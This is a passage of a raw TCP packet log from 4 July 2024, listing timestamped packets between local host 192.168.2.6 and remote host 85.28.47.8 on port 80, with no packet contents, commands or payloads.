                                                              Jul 4, 2024 11:16:15.548918009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.548927069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.548938990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.548943996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.548950911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.548969984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.548989058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.549098015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549108982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549119949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549130917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549144983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549150944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.549155951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549158096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.549169064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.549196005 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.592884064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.603554010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603601933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603614092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603657961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603671074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.603672981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603715897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603718042 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.603728056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603739023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.603756905 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.603785038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.640763044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640827894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640839100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640875101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.640898943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640911102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640922070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640933037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.640949011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.640984058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641127110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641139030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641149998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641165972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641169071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641177893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641189098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641195059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641201019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641210079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641213894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641227007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641248941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641272068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641375065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641386032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641396999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641407013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641418934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641424894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641438961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641576052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641587019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641596079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641608000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641618013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641619921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641630888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641637087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641643047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641654015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641669035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641693115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641872883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641884089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641894102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641910076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641921043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641927004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641937017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641947985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641953945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641962051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641966105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641978979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.641987085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.641997099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642007113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642008066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642019987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642035961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642045021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642045975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642059088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642069101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642074108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642080069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642088890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642092943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642105103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642112970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642117023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642129898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642138004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642139912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642153025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642163038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642183065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642642021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642652988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642663002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642673969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642684937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642695904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642698050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642708063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642734051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642760992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642857075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642869949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642879963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642891884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642904043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642914057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642925978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.642935991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.642960072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643188000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643198967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643208981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643219948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643228054 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643229961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643241882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643253088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643261909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643268108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643279076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643281937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643290043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643300056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643302917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643315077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643321991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643326998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643341064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643346071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643352985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643371105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643392086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643615007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643625975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643635988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643646955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643660069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643712044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643769979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643783092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643788099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643800020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643810034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643821955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643827915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643832922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643836021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643846035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643857002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643867016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643870115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643883944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643894911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643904924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643912077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643918037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643922091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.643929958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.643965006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.693563938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693574905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693587065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693635941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693643093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.693646908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693660021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693670988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.693675995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.693720102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.726716995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726730108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726741076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726788998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.726841927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.726844072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726857901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726869106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726881981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726888895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.726917982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.726965904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726979017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.726989985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727001905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727025032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727047920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727158070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727170944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727181911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727194071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727205992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727206945 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727229118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727308035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727320910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727332115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727344036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727344036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727355957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727370024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727372885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727389097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727406025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727407932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727418900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727431059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727432013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727443933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727452993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727482080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727639914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727652073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727663994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727675915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727700949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727724075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727745056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727757931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727770090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727782011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727792978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727792978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727806091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727818012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727819920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727830887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727838993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.727844000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.727864981 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.730753899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.730792046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.730803013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.730809927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.730843067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.730895042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.730907917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.730920076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.730942965 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731002092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731014013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731024981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731043100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731059074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731136084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731147051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731158972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731169939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731182098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731193066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731193066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731204987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731221914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731237888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731349945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731363058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731380939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731398106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731399059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731411934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731467962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731479883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731492043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731503963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731503963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731528997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731635094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731647968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731658936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731668949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731673002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731682062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731690884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731693983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731707096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731719017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731739998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731823921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731834888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731846094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731857061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731865883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731889009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731899977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.731904030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731916904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.731940985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732110023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732127905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732139111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732146978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732151985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732165098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732176065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732176065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732187986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732198954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732202053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732209921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732219934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732220888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732234955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732247114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732255936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732259035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732273102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732284069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732284069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732296944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732326984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732444048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732455969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732470989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732487917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732492924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732512951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732526064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732542038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732541084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732554913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732563972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:15.732568026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:15.732594013 CEST4972380192.168.2.685.28.47.8
